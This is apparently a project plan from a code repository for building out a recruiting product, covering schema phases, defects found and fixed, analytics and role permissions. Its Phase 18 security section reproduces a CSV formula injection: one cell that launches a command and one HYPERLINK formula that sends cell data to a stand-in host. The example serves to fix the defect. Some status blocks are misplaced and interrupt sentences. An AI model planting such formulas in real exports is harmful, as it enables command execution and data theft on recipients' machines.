Source identity
| Field | Recorded value |
|---|---|
| Source type | GitHub source |
| Original record | Janady13/missionmatch / docs/superpowers/plans/2026-07-20-recruitmatch-program.md |
| Date | Not specified in source |
| Repository | Janady13/missionmatch |
| Revision | 720d47fae476b0d38477ae4401697d372b1ea2bc |
| Branch | feature/opportunity-to-outcome |
| Path or archive member | docs/superpowers/plans/2026-07-20-recruitmatch-program.md |
| Original SHA-256 | d3e5b9c84b5c0ddc40e7e0a5a9bae67804f7bb144456bcdb250382d9221d9ef2 |
| Git blob SHA | b7021f54bb96f74832635792aacbd32f65dccd1f |
| Reading-copy SHA-256 | d3e5b9c84b5c0ddc40e7e0a5a9bae67804f7bb144456bcdb250382d9221d9ef2 |
Every recorded occurrence
These 2 records contain identical original source bytes. Their paths and revisions remain part of the archive.
| Original record | Branch or archive | Revision / identifier | Original location |
|---|---|---|---|
| Janady13/missionmatch / docs/superpowers/plans/2026-07-20-recruitmatch-program.md | feature/opportunity-to-outcome | 720d47fae476b0d38477ae4401697d372b1ea2bc | Open original |
| Janady13/missionmatch / docs/superpowers/plans/2026-07-20-recruitmatch-program.md | feature/aioe-upgrade | 2178e7298d0e5d9af83afa12402fd587f0ba6ed8 | Open original |
Recovered source transcript
Download complete source text ↓666 lines · 41.7 KB
# recruitMATCH to production: the complete program
> Companion to `2026-07-20-recruitmatch.md`. That plan covered phases 0 through 9 and delivered a
> reporting surface. This document covers everything still required for recruitMATCH to be a tool a
> recruiter works in all day, and for the product to be production ready.
**Scope decision, 2026 07 20.** The original spec explicitly excluded an applicant tracking spine. That
exclusion is now lifted. "recruitMATCH should be the actual tool it is supposed to be" cannot be
satisfied without it: interviews, offers, placements, requisitions and recruiter activity have no tables,
so no amount of frontend work can make them real.
**What exists today.** recruitMATCH renders six stat tiles and five panels, has one nav item and one
button, and issues zero mutations. The API has 45 mutating endpoints and recruitMATCH calls none of them.
It is a report over work performed in screenMATCH and slateMATCH.
**Definition of done for this program.** A recruiter logs in, creates a requisition against a client,
sources and submits candidates, moves them through interview and offer, records a placement, logs their
outreach, and sees KPIs computed from those events. Every number on every screen traces to a row a human
created in the product.
---
## Phase map
| Phase | Name | Delivers | Schema | Status |
|---|---|---|---|---|
| 0 to 5 | recruitMATCH reporting | Dashboard, alerts, brain intents | none | DONE |
| 6 | Org branding | White labeling, backend and shell | 0046 | DONE, Task 12 open |
| 10 | Recruiting operations schema | clients, requisitions, applications, interviews, offers, placements, activities, tasks | 0047 to 0050 | DONE |
| 11 | Client and contact management | Create and manage the companies recruited for | 0051 | DONE |
| 12 | Requisition management | Job orders with owner, hiring manager, target fill, priority | 0052, 0053 | DONE |
| 13 | Candidate pipeline | Submit to requisition, stage transitions, dispositions | 0054 | DONE |
| 14 | Interviews, offers, placements | Close the funnel with real events | 0055 | DONE |
| 15 | Recruiter activity | Calls, emails, outreach, notes, auto capture | 0056 | DONE |
| 16 | Tasks, reminders, notifications | Per user work queue | 0057 | DONE |
| 17 | Real analytics | Time to fill, fill rate, conversion, source effectiveness, aging | none | DONE |
| 18 | Reporting and exports | Daily to quarterly, per recruiter, per client, CSV | none | DONE |
| 19 | Administration | Recruiter management, permissions, configuration (Phase 22 folded in) | 0058 | DONE |
| 20 | Interactivity sweep | Every panel a way in, no dead surfaces | none | DONE |
| 21 | Production hardening | Config decisions, model card, deploy script | 0059 | DONE |
Phases 11 through 19 each ship a usable slice. Phase 10 ships nothing a user sees and everything after it
depends on it, so it is built first and proven with tests rather than screens.
---
## How this document is used
Each phase gets its own implementation plan with complete code, written when that phase starts, at
`docs/superpowers/plans/YYYY-MM-DD-recruitmatch-phase-NN.md`.
Writing step level code for eleven phases up front would be its own drift: decisions made in phase 13
will change what phase 14 should look like, and a plan written now would be stale before it is read. What
this document fixes is the thing that actually went wrong before, which is work being discovered mid
build and narrated instead of tracked. Every phase below has a named deliverable and an acceptance test.
Nothing gets built that is not on this list, and nothing on this list gets forgotten.
---
## Phase 10: Recruiting operations schema
The foundation. No user visible change. Everything after depends on it.
**Tables**, all tenant scoped with `organization_id`, RLS ENABLE and FORCE, composite foreign keys
leading with `organization_id`, and a composite index leading with `organization_id`.
| Table | Purpose |
|---|---|
| `clients` | The companies the org recruits FOR. Distinct from `staffing_vendors`, which submit TO the org |
| `client_contacts` | People at a client, including hiring managers |
| `requisitions` | A job order. Owner, hiring manager, openings, priority, target fill date, status, optional link to a federal `requirements` row |
| `applications` | The candidate to requisition junction. One row per pairing, carrying current stage |
| `application_stage_events` | Append only stage transition history. This is what makes every duration metric recoverable |
| `interviews` | Scheduled and completed interviews against an application |
| `offers` | Extended, accepted, declined, rescinded, with amounts |
| `placements` | A started assignment. Start date, end date, status |
| `recruiter_activities` | Calls, emails, outreach, notes, attributed to a user and optionally to a candidate or requisition |
| `tasks` | Per user work items with due dates |
**Design rules, non negotiable**
1. **Store events, not computed metrics.** `application_stage_events` is append only. Every duration and
conversion metric in phase 17 is derived from it. A rollup column would make definitional changes
unrecoverable, and every KPI in this domain has a definitional fork in it.
2. **Two time to fill clocks.** Requisition opened to offer accepted, and opened to candidate started.
Both are derivable from events; neither is stored.
3. **`source_first_touch` immutable and `source_last_touch` mutable** on `candidates`. A single mutable
source column is the design flaw behind most unusable source reporting.
4. **Contract and permanent are separate revenue shapes.** Placement carries `employment_type`, and pay
and bill rates use `numeric`, never float. Percentages are never blended across the two.
5. **Nothing reads or references the `eeo` schema.**
6. **Clearance stays a self reported indicator.** No new table implies verification.
**Acceptance**
- `make build-test-gates` passes.
- Migration up, down, up is clean.
- An RLS integration test proves two orgs cannot see each other's clients, requisitions, applications,
interviews, offers, placements, activities or tasks.
- A test proves `application_stage_events` rejects an UPDATE and a DELETE.
---
## Phase 11: Client and contact management
CRUD for clients and contacts, list and detail screens, gated on `requirement.write`.
**Acceptance**: a recruiter creates a client, adds a hiring manager contact, and sees them listed.
## Phase 12: Requisition management
Create, edit, hold, close and reopen a requisition. Owner and hiring manager assignment, openings count,
priority, target fill date. Optional link to a federal `requirements` row so a SAM derived need and a
client job order coexist without either polluting the other.
**Acceptance**: a recruiter opens a requisition against a client, assigns themselves, sets a target fill
date, and it appears on the dashboard as an open role.
**Status: COMPLETE.** Migrations 0052 and 0053. Delivered beyond the acceptance criterion:
- A closed transition graph in `requisition_status.go`, all 36 ordered status pairs decided in one place,
20 legal and 16 refused, proved exhaustively rather than by inspection.
- Exact hold arithmetic. `held_days int` from 0047 truncated every hold shorter than a day to zero, so
three ten hour holds recorded as 0 rather than 1.25 days, and the error was one directional so no
amount of data would have surfaced it. Replaced with an exact numeric second accumulator plus a paired
`held_since` bracket, both constrained by the database.
- Three clocks per order: wall clock age, working days with hold time removed, and the hold total.
Ten thousand randomised transition walks confirm the adjusted age is never negative and never exceeds
the elapsed age.
- An append only `requisition_events` trail written from the first transition, so Phase 17 has history to
report on rather than starting from whenever reporting was built.
- Ownership as the lock, the same rule clients use, with the refusal naming the holder.
### Defects found and fixed while building this phase
1. **`held_days int` truncated short holds to zero** (0047). Corrected in 0052.
2. **Twenty four composite foreign keys across the schema declared a bare `ON DELETE SET NULL`**, which
nulls every column in the key including `organization_id`. Because that column is NOT NULL, the
referential action aborts and the referenced row can never be deleted. Twelve of them reference
`users`, so a recruiter who had ever created a client, interview, offer, placement, task or evaluation
could not be removed, which is the whole of Phase 19's offboarding. Others blocked deleting an
opportunity, a slate and, through `ai_memory`, a candidate, which is the privacy erasure path.
Reproduced against the live schema, then repaired in 0053 with a column list on each.
3. **`hiring_manager_id` was not constrained to the requisition's own client** (0047), so a job order at
one company could name a hiring manager at another. First symptom would have been a submittal emailed
to the wrong client. Fixed with a composite key carrying `client_id`.
4. **Deleting a client left `hiring_manager_id` dangling.** Once `client_id` is nulled the composite key
contains a NULL and is no longer enforced, so the cascade never clears the manager. Fixed with a
trigger, after a CHECK constraint was tried and removed because it reintroduced the deletion failure
from defect 2.
5. **The append only guard blocked the referential null out** on both `requisition_events` and the
existing `application_stage_events`, so deleting a user would still have failed after defect 2 was
fixed. The guard now permits exactly that one update and nothing else, and the actor's name is stored
at write time so history stays legible after the reference is gone.
6. **`auditOwnership` hardcoded `EntityType: "client"`**, which would have filed every job order claim in
the audit trail as a client event.
### Known, not fixed in this phase
Deleting a user is still refused by `slates_organization_id_created_by_fkey` and any other constraint
declared NO ACTION rather than SET NULL. That is a different class from defect 2: NO ACTION reads as a
deliberate choice to retain the row, and changing it decides what happens to a departed recruiter's
slates. That belongs to Phase 19 with the rest of offboarding, not to a requisition phase.
## Phase 13: Candidate pipeline
Submit a candidate to a requisition, move them through stages, disposition them with a reason. Stage
vocabulary fixed in Go, every transition writing an `application_stage_events` row. A pipeline board per
requisition.
**Acceptance**: a candidate moves sourced to screened to submitted to interviewing, and the funnel on the
**Status: COMPLETE.** Migration 0054. Delivered beyond the acceptance criterion:
- A monotone funnel, proved rather than asserted. The count at each rung is "ever reached this rung or
beyond", tracked as a high water mark that never falls, so `count(furthest >= k)` is non increasing in
k by construction. Fifty thousand randomised populations confirm it, and a candidate rejected at
interview still counts as having reached interview.
- A coded disposition vocabulary alongside the prose one, because a four fifths analysis under NYC Local
Law 144 or OFCCP groups rejections by reason and prose cannot be grouped. Employer reasons and
candidate reasons are separate sets and cannot be recorded as each other. A standing test asserts no
code names a protected attribute or a proxy for one.
- Stage to stage conversion, computed in exact decimal, guaranteed inside [0,100] because the underlying
counts are monotone rather than because it is clamped.
### Defects found and fixed while building this phase
Four in migration 0048, every one reproduced against a live database before the fix was written.
1. **`from_stage` was never checked against reality.** An event claiming `from_stage='offered'` was
applied to an application sitting at `sourced` and moved it straight to `placed`. Any stage was
reachable from any other by asserting a predecessor that never happened, and the history was fiction.
2. **An out of order event was recorded but not applied.** The guard `NEW.occurred_at >= stage_changed_at`
silently matched zero rows, so the row read `placed` while the newest event read `screened`. History
and row disagreed permanently, and every event derived metric reported a different pipeline than the
board. Now refused outright, so either both move or neither does.
3. **Stage was writable directly by the application role.** Verified: an UPDATE moved a candidate to
`placed` with zero events written. An audit trail that can be bypassed is not an audit trail. Stage is
now writable only through an event, enforced by a trigger, with legitimate non stage edits unaffected.
4. **Nothing capped placements against openings.** A role with one seat could place any number of people.
Now counted under the same row lock as the write, so two simultaneous placements cannot both take the
last seat.
A fifth conflict surfaced during testing: 0048 required free text prose on every disposition while 0054
requires a code. Both cannot stand, because demanding two reasons produces "n/a" typed into every
rejection, which is worse than an empty column because it looks like data. The prose requirement was
replaced by the code requirement; prose stays optional.
Two defects were mine, caught by verification rather than review: the opening event would have violated
the table's own no self transition CHECK, and the down migration was not idempotent.
dashboard reflects it without a schema change.
## Phase 14: Interviews, offers, placements
Schedule an interview, record its outcome, extend an offer, record acceptance or decline, record a start.
These are the three entities whose absence the current dashboard names in its "not tracked yet" panel.
**Acceptance**: the six untracked panels are replaced by real numbers, and the `notTracked` list in
**Status: COMPLETE.** Migration 0055. Delivered beyond the acceptance criterion:
- Exact money throughout. Margin, fee and percentage are decimal on values carried as text from Postgres
numeric, never through a float64, because a rate that lost precision would not reconcile with an
invoice. Two hundred thousand randomised rate pairs confirm gross is always bill minus pay, and the
percentage always lands inside [0,100] without clamping.
- Contract and permanent revenue are never blended. A contract earns an hourly spread, a direct hire
earns a one time fee, and a figure that averaged them would describe neither.
- A zero bill rate yields no percentage rather than 0.00, because a share of nothing is undefined and
rendering zero would be a different and false claim.
- Guarantee tracking with an inclusive boundary: a 90 day guarantee from 1 January covers through 31
March. A completed assignment never breaches however short it ran, because ending early was the
client's decision and not a failure to deliver.
- No projected revenue anywhere. Annualising an hourly rate assumes a full time full year assignment
nobody agreed to, and on a screen that number is indistinguishable from one that was contracted.
### Defects found and fixed while building this phase
Four in 0048, each reproduced against a live database before the fix.
1. **Two accepted offers could exist on one application.** The existing unique index caps only the
extended status, so accepting twice was permitted, leaving two contradictory sets of agreed rates
with nothing to say which one is the revenue.
2. **A placement could carry an offer belonging to a different application.** Reproduced: a placement on
one candidate referencing an offer extended to another, so the rates and the money came from a
different person. Same defect shape as the cross client hiring manager fixed in 0052.
3. **A placement could exist while its application sat at sourced.** The pipeline and the revenue record
described different realities and nothing reconciled them.
4. **A requisition with one opening could carry two live placements**, because the seat cap added in 0054
counts applications at stage placed and nothing required a placement to move the stage.
3 and 4 are one defect seen from two sides, and both are closed by a single rule enforced in both
directions: a live placement exists if and only if its application is at stage placed. With that
biconditional held by the database there is exactly one answer to "is this person placed", and the seat
cap covers placements transitively.
Also added: an offer lifecycle guard, so a declined offer cannot later be accepted and re offering is a
new offer that keeps both in the history; and a pricing constraint, so an extended offer must carry its
terms rather than being recorded with nulls a margin calculation would read as zero.
Two message defects were found by the live run rather than by the tests, and both hid a good message
behind a useless one: the live placement guard's instruction was being replaced by "failed a database
constraint" because the stage path did not know that trigger, and a duplicate live offer reported "that
offer is already in use".
`derive.go` shrinks to whatever genuinely remains.
## Phase 15: Recruiter activity
Log calls, emails, outreach and notes against a candidate, contact or requisition. Auto capture what the
system already knows: a screen performed, a slate decision made, a submission sent.
**Acceptance**: the activity trend chart from Tom's mockup renders from real events, and recruiter
**Status: COMPLETE.** Migration 0056. Delivered beyond the acceptance criterion:
- Effort and connects are reported separately. A hundred dials with two conversations and a hundred
conversations are different days, and a single activity count reports them identically, which is how
activity metrics come to be gamed and then distrusted. Only `connected` and `replied` count as reaching
a person, pinned by test so widening that set cannot silently inflate every rate ever published.
- Connect rate is exact decimal and ABSENT rather than "0.00" when nothing was logged, because a zero
rate on no attempts claims a failure that did not happen.
- Captured effort is never pooled with logged effort in any number.
### Defects found and fixed while building this phase
Four in 0049, each reproduced against a live database first.
1. **An activity could be dated in the future.** A recruiter could pre log a month of calls and today's
productivity number would count work that had not happened. Backdating stays allowed, because entering
yesterday's calls this morning is how recruiters work; only forward dating is refused.
2. **A human could set `auto_captured` on their own row.** That column exists for exactly one reason, to
keep captured and self reported effort separable, and a flag the subject sets about themselves is not
a flag. The trigger now DISCARDS whatever was supplied and sets it from a transaction local flag only
the capture paths raise, and `LogActivityInput` has no such field, so the API cannot express the claim.
3. **A logged activity could be rewritten or deleted.** Verified: kind changed from call to meeting,
occurred_at moved five days back, then the row deleted outright. Only the note may now be corrected;
everything a metric is computed from is fixed at insert, and DELETE is revoked from the app role.
4. **Deleting a recruiter deleted their entire activity history**, because the actor cascaded. Offboarding
erased the record of work done, and it disagreed with `application_stage_events`, which nulls the actor
and keeps the row.
Two defects were mine, both caught by verification rather than review. `current_setting` with missing_ok
returns NULL when unset, and `NULL = '1'` is NULL rather than false, so every human logged activity failed
to insert. And my first lower bound on `occurred_at` was the organization's creation date, which would
have refused every backdated entry during a new client's first week; it is now a loose absolute floor that
catches a mistyped year and nothing else.
scorecards show effort next to outcome.
## Phase 16: Tasks, reminders, notifications
Per user tasks with due dates, plus reminders derived from state: an aging requisition, a stale
application, an interview tomorrow, an offer deadline. Extends the existing `alerts` engine rather than
replacing it.
**Acceptance**: the Upcoming Tasks panel from the mockup is real, and a recruiter has a work queue.
**Status: COMPLETE.** Migration 0057. Delivered beyond the acceptance criterion:
- A working day that means something. The organization now carries an IANA timezone, validated against
the catalog, and every day bucket is computed in it. This was fixed here rather than in Phase 17
because it is the same defect either way and it is cheaper to fix once.
- Buckets are computed on whole days, never on instants. A task due at 9am and one due at 5pm are both
due today, and computing that on instants would put the morning one in the past by lunchtime.
- The queue header counts are derived from the rows returned, not from a second aggregate query. Two
queries against a moving table can disagree, and a header that contradicts the list below it is worse
than no header.
- Ordering is total, with an id tiebreak, so paging cannot show one task twice and skip another.
### Defects found and fixed while building this phase
Four, each reproduced against a live database first.
1. **Reopening a completed task was impossible.** `tasks_completed_chk` requires `completed_at` to be
NULL unless the status is done, and nothing cleared it, so reopening failed with a constraint
violation on a row the user had every right to reopen. The database now maintains the column from the
status, so it works from any path and the constraint cannot be violated by a correct change.
2. **There was no timezone anywhere in the schema.** Reproduced: an 8pm Eastern log is UTC 2026-07-21,
so a UTC day bucket calls today's evening work tomorrow's. Every daily number for a US firm would
have been wrong, on this queue and on every Phase 17 rollup.
3. **Paging was not deterministic.** Tasks sharing a due date had no tiebreak.
4. **Deleting a recruiter deleted their open tasks.** Unlike an activity, a task is work that still
needs doing, so cascading destroys the work rather than the record of it. Tasks now survive
unassigned and surface in their own queue until someone picks them up.
Two defects were mine, both caught by the tests rather than by review. Migration 0046 narrowed the app
role's write access on `organizations` to a named column list, so the new column was readable but not
writable and every timezone change returned "permission denied"; the same applied to `updated_at`, which
the write stamps. And a shell double quote expanded `$1` inside a perl replacement, silently deleting the
`DROP COLUMN` from the down migration.
## Phase 17: Real analytics
Now that events exist, compute the KPIs properly. Both time to fill clocks labelled separately. Fill rate
cohort based, not this month's fills over this month's orders. Conversion ratios per stage entry cohort.
Aging thresholds derived from the org's own trailing distribution rather than fixed at 30, 60 and 90.
Source effectiveness on first touch with last touch available.
Every metric ships with its definition visible in the UI, because in this domain a number without its
start event, end event and exclusions is not defensible.
**Acceptance**: every KPI on the dashboard traces to events, and a tooltip states how it is computed.
**Status: COMPLETE.** No migration; every figure derives from rows earlier phases already record.
The phase is defined by one defect it refuses to commit: **survivorship bias in time to fill**.
Averaging the days it took to fill only the requisitions that FILLED systematically understates the
truth, because the slow ones are still open and therefore excluded. The bias grows with the number of
open orders, so the worse a desk is doing the better the naive number looks, which is the exact opposite
of what a metric should do.
Still open orders are kept in the calculation as right censored observations, each known to have taken AT
LEAST as long as it has been open so far, and the median comes from a Kaplan Meier estimator. Both
figures are shown side by side and labelled, so when they differ the gap IS the bias rather than
something hidden. When fewer than half the cohort has filled the corrected median is reported as NOT
REACHED, because a median does not exist yet and inventing one would be a fabrication.
Other decisions that are choices rather than defaults, each stated on the screen:
- The cohort is every requisition OPENED in the window, never every one filled. Cohorting on the fill
date reintroduces the same bias through the window instead of through the average.
- Two time to fill clocks, opened to accepted offer and opened to actual start, plus a third with hold
time removed. The industry does not agree on which is correct, so reporting one silently is how two
tools describe the same desk differently.
- Fill rate is reported with BOTH denominators. A cancelled order is a role the client pulled; counting
it against the recruiter understates them, excluding it flatters them.
- Rates over fewer than five resolved orders are suppressed. Counts are always shown; only the ratio is
withheld, because one filled requisition is a hundred percent fill rate and means nothing.
- Aging is a distribution, never an average, because an average age hides the tail and the tail is the
problem.
- Source effectiveness is attributed on FIRST touch. Attributing a placement to the most recent contact
is how every channel eventually looks like a referral.
- No projected or annualised revenue anywhere.
### Defects found while building this phase
All three were in my own work, and all three were caught by verification rather than review.
1. **A test asserting a false mathematical law.** It claimed the Kaplan Meier median never falls below
the naive one. That is false whenever censoring is concentrated early: the risk set shrinks, later
events drop survival further, and the median can come out lower. The counterexample is now a test in
its own right so nobody later "fixes" the estimator to satisfy a law that does not hold.
2. **A test asserting the wrong median convention.** With no censoring and an even cohort, Kaplan Meier
returns the lower central order statistic while the arithmetic median averages the two central
values. Both are standard; the test had encoded the wrong one.
3. **An infinite refetch loop on the analytics screen.** The window start was computed from `Date.now()`
on every render, so the query key changed every render and the page sat on "Computing" forever while
the API answered correctly every time. Only looking at the rendered page found it.
## Phase 18: Reporting and exports
Daily, weekly, monthly, quarterly, executive, per recruiter and per client reports. CSV export reusing
the audited export path that slateMATCH already uses, so bulk egress stays logged.
## Phase 19: Administration
Recruiter management, permission assignment within the existing five role matrix, and per org dashboard
configuration.
## Phase 20: Interactivity sweep
Every panel becomes a way in. Top roles link to the requisition. The review queue opens pending members
with approve and reject inline. Alerts are actioned. Recommendations are decided. No dead surfaces, and
no button without a handler, which is a defect the existing Command Center and Candidate Evaluation
screens already carry.
**Acceptance**: a recruiter can start from the dashboard and reach every action without typing a URL.
**Status: COMPLETE.** No migration.
Every screen was crawled while signed in and checked for the things that make a surface dead: a blank
render, a stuck loading state, an unlabelled button, a link to nowhere, a failing API call behind a
panel, and horizontal overflow. Nineteen routes, including one deliberately invalid.
**Result: no dead surfaces.** Two flags the crawler raised were false positives from its own regex, and
are recorded here so the next person does not chase them: "Building Cleaning Workers" on the
requirements screen matched a loading pattern, and the phrase "could not reconcile" in the Settings copy
matched an error pattern.
### Defects found
1. **A mistyped URL rendered a blank page.** The router matched the shell, no child route matched, and
the outlet drew nothing. A blank screen inside a working application reads as a crash rather than a
wrong address. There is now a not found screen that says which it is and offers a way back.
2. **`last_login_at` was never written, and also never returned.** A two part defect: the column and its
generated query have existed since the foundation migration with no caller, and `UserSummary` did not
carry the field either. The People screen showed "never signed in" beside the owner reading it.
Fixing only the write would have left the screen unchanged and looked like the fix had failed.
3. **Three endpoints named no capability**: opportunities, awards and wages relied entirely on being
mounted inside the authenticated group. They now state the authority they require, so moving a route
to a different group later fails closed rather than silently opening it.
### Corrected from the backlog
The backlog claimed `/metrics` was public. It is not: nginx proxies only `/api/`, the route is mounted at
the router root, and `/api/metrics` is a 404. Verified from the public internet before writing anything.
**Status: COMPLETE.** Migration 0058. Phase 22 is folded in here: the access tier work and the
administration work were the same work, and splitting them would have meant building the People screen
twice.
### What was already right, and what was not
The permission model was already complete and correct: five ranked roles, nineteen capabilities, six
correctly gated endpoints, and sound separation of duties. Nothing needed fixing there. What did not
exist was any way to see or change it, and the hierarchy had a gap.
**The manager tier.** The hierarchy jumped from recruiter straight to admin, and admin carries
`privacy.erase`, `audit.read`, `compliance.write` and `user.invite`. A recruiting team lead needs none of
those; they need to move work between people. The only way to grant that was to make them an admin,
which also handed them PII deletion and account management. That is how over permissioning happens in
practice: not through a bad decision, but because the smallest role that can do the job is far larger
than the job.
`manager` inserts at rank 3, moving admin to 4 and owner to 5. Ranks are compared and never stored, so no
row was rewritten. Manager holds everything a recruiter does plus exactly two things, `desk.reassign` and
`audit.read`, and a test asserts it can reach none of the admin authority.
`canOverride` in recruiting now gates on `desk.reassign` rather than on the admin role, which is what
makes the tier mean something rather than being a label.
**Capabilities travel with the session.** The interface gated on role name comparisons, which duplicates
the matrix in TypeScript where it drifts. `GET /auth/session` now returns the caller's resolved
capability list, computed from the same matrix the server enforces. It decides what is OFFERED, never
what is allowed; every endpoint keeps its own gate and the client fails closed.
**The People screen** shows role, status, MFA state and last sign in, and offers invite, role change,
enable, disable and MFA reset, each only where the actor outranks the target. Three rules that look like
bugs unless stated are stated on the screen: you cannot change your own role, you can only grant a role
below your own so an admin cannot create another admin, and owner cannot be granted or removed here at
all.
### Defects found while building this phase
1. **`SetTimeZone` was gated only at the HTTP route, not in the service.** Every other privileged method
guards itself; this one relied entirely on the routing layer, so a CLI, a job, or a future handler
would have faced no check. Found because the integration test called the service rather than the
endpoint, which is exactly what such a caller would do.
2. **Migration 0058 was incomplete.** `user_invites` carries its own copy of the role vocabulary, so
widening only `users.role` left inviting a manager failing with a 500. Found by trying it against the
live API, not by reading the schema: the role reached the invite row before it ever reached a user
row. Both constraints now change together and roll back together.
3. **The People screen offered "Enable" on an invited account**, which would have activated a login
nobody had claimed and skipped the acceptance step that sets their password and second factor. Found
by looking at the rendered screen.
A property worth recording, now asserted by test: **nothing outranks owner**, so an owner can never be
demoted or disabled through the API by anyone. The organization cannot be locked out of itself.
**Status: COMPLETE.** No migration; reporting derives from rows earlier phases record.
### The security defect this phase found and fixed
**CSV formula injection, in code that already shipped.** `encoding/csv` implements RFC 4180 correctly,
quoting fields containing commas, quotes or newlines. It does nothing about formula injection, and
nothing in this codebase did either. Reproduced against the existing slate export before any of this was
written:
Rank,Candidate,Reviewer Note
1,=cmd|'/c calc.exe'!A1,"=HYPERLINK(""http://evil.test?d=""&A1,""Click"")"
Both cells execute when the file is opened. The strings are attacker reachable: a candidate name is
parsed from a resume and a reviewer note is typed by a user, so the exploit path is the recruiting firm
exporting a slate, emailing it, and the CUSTOMER's machine running it.
Fixed in a shared `internal/platform/csvsafe` package used by both the new exports and the slate export,
so the two cannot drift on what counts as dangerous. The subtlety, and the part most implementations get
wrong, is that `-` also begins every negative number: escaping it unconditionally corrupts every negative
rate, margin and variance in the file. A value that is a plain number passes through untouched, so
`-5.50` stays `-5.50` while `-5+5` does not.
Every export also writes an audit row recording who exported what, how many rows and how many bytes. An
export is the moment tenant data leaves the system, which is the event an incident review asks about and
the one nothing else recorded.
### The domain decision that matters most
**Federal fiscal quarters.** This product serves government contracting, where the fiscal year begins on
1 October and is named for the calendar year it ENDS in, so October 2025 falls in FY2026 Q1. A report
labelled Q1 that means January through March describes a different three months than the one a federal
customer is being asked about. Offering only calendar quarters would have been silently wrong for every
user of this product, so both grains are offered and labelled, and the screen explains the difference.
Other decisions, each stated rather than assumed:
- Every grain buckets in the ORGANIZATION's timezone, using the function migration 0057 added. Bucketing
on raw UTC puts evening work in the wrong day, the wrong week and, twice a year, the wrong month.
- Weeks are ISO and begin on Monday, said out loud because a report that silently starts weeks on Sunday
cannot be reconciled with one that does not.
- Each column is counted on the period its OWN event falls in. A placement in March against an order
opened in January is March's placement; attributing it to January makes every month look empty until
the quarter it was sold in.
- Export is gated on `export.run`, a capability distinct from reading the same data on screen, because
taking a copy out of the system is a different act from looking at it.
## Phase 21: Production hardening and integrate
Folds in Tasks 13 through 17 from the original plan: layout pass, deliberate production configuration,
model card brought current, scripted frontend deploy, push and integrate.
Adds from the codebase scan backlog, which becomes in scope for a production ready product:
1. Capability gates on `/api/opportunities`, `/api/awards` and `/api/wages`, which currently have none.
2. `/metrics` authenticated or firewalled; it is currently public and outside the rate limiter.
3. `CommandCenter.tsx` error state, which today leaves a failed fetch showing its loading panel forever.
4. `users.last_login_at`, which is never written.
**Acceptance**: `MM_ENV=production` with FIPS enforced, every gate green, nothing on the backlog that is
a security defect.
---
## Phase 22: Access tiers and user administration
**The gap is not the permission model. It is that nobody can see or change it.**
Verified against the codebase before writing this phase. The backend already has five roles ranked
`viewer 0 < member 1 < recruiter 2 < admin 3 < owner 4`, nineteen capabilities, a role to capability
matrix, and `Has`, `AtLeast` and `OutRanks` helpers. Six endpoints already exist and are correctly
gated: list users, invite, change role, change status, reset MFA, reissue recovery. The guardrails are
already right: no self role change, the actor must outrank both the current and the target role, a
downgrade revokes the target's sessions, and every change writes an audit row.
There is **no screen for any of it**. Roles can only be set by editing the database directly.
### 22a. Add the manager tier
Today the hierarchy jumps from recruiter straight to admin, and admin carries `privacy.erase`,
`audit.read`, `compliance.write` and `user.invite`. A recruiting team lead needs none of those. They need
to see the whole team's book and move work between people. Making someone an admin so they can reassign
an account hands them PII deletion, which is how over permissioning happens in practice.
`manager` inserts at rank 3, moving admin to 4 and owner to 5. Ranks are compared, never stored, so only
the rank map and the matrix change; no row is rewritten. A migration widens the `users_role_check`
constraint, which currently names exactly five roles and would refuse the sixth.
Manager holds everything recruiter holds, plus a new `CapDeskReassign` capability and `audit.read`
scoped to their team. Manager does **not** hold `privacy.erase`, `user.invite`, `user.role.change`,
`compliance.write` or `org.settings.write`.
### 22b. Make the tier mean something in recruiting
`canOverride` in `internal/modules/recruiting/ownership.go` currently requires `RoleAdmin`, so today only
an admin or owner can reassign a client or a job order. That is the single most common thing a team lead
does, and it is exactly what the new tier is for. It moves to `CapDeskReassign`, held by manager and
above. Nothing else about the ownership lock changes.
### 22c. Send capabilities to the browser
The session principal exposes only `role`, so the frontend gates on string comparisons against role
names. That duplicates the matrix in TypeScript, where it will drift, and it cannot express a capability
that does not map cleanly onto one role. `GET /auth/session` gains the caller's resolved capability list,
computed from the same matrix the server enforces, and the UI gates on capability.
The server stays the only authority. A capability list in the browser decides what is *offered*, never
what is *allowed*, and every endpoint keeps its own gate.
### 22d. The People screen
Settings gains a People tab: every member with role, status, last login and MFA state. Actions are
invite, change role, enable, disable, reset MFA, reissue a recovery link.
Each action is disabled with a stated reason rather than hidden, because a manager who cannot see that
inviting exists will ask why the product has no invitations. Three reasons must be spelled out, since all
three look like bugs otherwise:
- You cannot change your own role. Prevents an accidental self demotion locking an org out.
- You cannot grant a role you do not outrank, so an admin cannot create another admin. Only an owner can.
- Owner cannot be granted or removed through the API at all, because nothing outranks owner. Owner
transfer is a migrator operation, deliberately.
Invitation and recovery delivery stays manual at pilot: the endpoint returns a one time link and the
inviter delivers it. There is no email transport in this phase, and the screen must say so rather than
implying a mail was sent.
### 22e. Capability aware navigation
The tool switcher and the recruiting nav hide what the role cannot use, so a viewer is not shown a New
job order button that returns 403. The empty states change too: a viewer seeing no clients is told they
have read only access, not told to create the first one.
### 22f. Tests
- The full role by capability matrix, exhaustively, as a table test. Six roles times nineteen plus
capabilities, every cell asserted, so adding a role cannot silently widen an existing one.
- Rank ordering after the insertion, including that manager outranks recruiter and admin outranks manager.
- Privilege escalation refused: every role attempting to grant every role above itself.
- Self role change and self disable refused.
- A downgraded user's existing session stops working immediately.
- Cross tenant: an admin in one org cannot see or change a user in another.
- The capability list returned to the browser matches `Has()` for that role, for all six roles, so the
UI and the server cannot disagree.
**Acceptance**: an owner invites a manager, that manager reassigns a job order between two recruiters and
cannot reach privacy erasure or org settings, a recruiter sees neither the People tab nor the reassign
control, a viewer can read and write nothing, and every one of those refusals is enforced by the server
and merely reflected by the interface.
---
## Explicitly out of scope
- Per tenant database routing. Unmerged on `per-tenant-routing`, 204 commits behind, its own project.
- PANTHEON and ORACLE orchestration.
- Cross tenant federated learning. The tables exist and have zero importers.
- Billing and invoicing. Placements carry rates; turning that into invoicing is a separate product.